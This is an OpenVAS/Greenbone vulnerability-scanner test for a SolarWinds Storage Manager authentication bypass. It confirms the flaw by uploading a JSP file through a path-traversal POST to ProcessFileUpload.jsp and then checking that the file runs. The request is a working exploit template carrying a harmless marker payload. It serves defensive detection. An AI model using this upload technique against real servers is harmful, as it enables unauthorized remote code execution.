SolarWinds Storage Manager AuthenticationFilter RCE Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105090");
  script_tag(name:"cvss_base", value:"8.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:P/A:N");
  script_version("2024-06-28T15:38:46+0000");

  script_name("SolarWinds Storage Manager AuthenticationFilter RCE Vulnerability");
  script_xref(name:"URL", value:"http://www.zerodayinitiative.com/advisories/ZDI-14-299/");

  script_tag(name:"impact", value:"This may allow a remote attacker to subvert
the authentication filter and upload arbitrary scripts, and use them to execute
arbitrary code.");

  script_tag(name:"vuldetect", value:"Try to upload a file.");

  script_tag(name:"insight", value:"SolarWinds Storage Manager contains a flaw
in the AuthenticationFilter class.");

  script_tag(name:"solution", value:"Update to 5.7.2 or higher.");
  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"summary", value:"SolarWinds Storage Manager is prone to a remote code execution
  (RCE) vulnerability.");

  script_tag(name:"affected", value:"Storage Manager Server before 5.7.2 is vulnerable.");

  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2014-09-16 15:55:12 +0200 (Tue, 16 Sep 2014)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 9000);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");

port = http_get_port( default:9000 );
buf = http_get_cache( item:"/", port:port );
if(! buf || "<title>SolarWinds - Storage Manager" >!< buf )
  exit( 0 );

useragent = http_get_user_agent();
host = http_host_name(port:port);

vtstrings = get_vt_strings();
rand_str = vtstrings["default_rand"];
file = '_' + vtstrings["lowercase_rand"] + '_.jsp';

data = '\r\n' +
      '--_Part_316_1523688081_377140406\r\n' +
      'Content-Disposition: form-data; name="ljyu"; filename="' + file + '"\r\n' +
      'Content-Type: application/octet-stream\r\n' +
      '\r\n' +
      '<%@ page language="Java" import="java.util.*"%>\r\n' +
      '<%\r\n' +
      'out.println("' + rand_str + '");\r\n' +
      '%>\r\n' +
      '\r\n' +
      '--_Part_316_1523688081_377140406--\r\n';

len = strlen( data );

req = 'POST /images/../jsp/ProcessFileUpload.jsp HTTP/1.1\r\n' +
      'Host: ' + host + '\r\n' +
      'User-Agent: ' + useragent + '\r\n' +
      'Content-Type: multipart/form-data; boundary=_Part_316_1523688081_377140406\r\n' +
      'Content-Length: ' + len + '\r\n' +
      '\r\n' +
      data;
result = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( ! result || "Upload Successful" >!< result )
  exit( 99 );

url = '/images/../' + file;
req = http_get( item:url, port:port );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

if( rand_str >< buf ) {
  report = 'It was possible to upload the file "' + file + '". Please delete this file.';
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );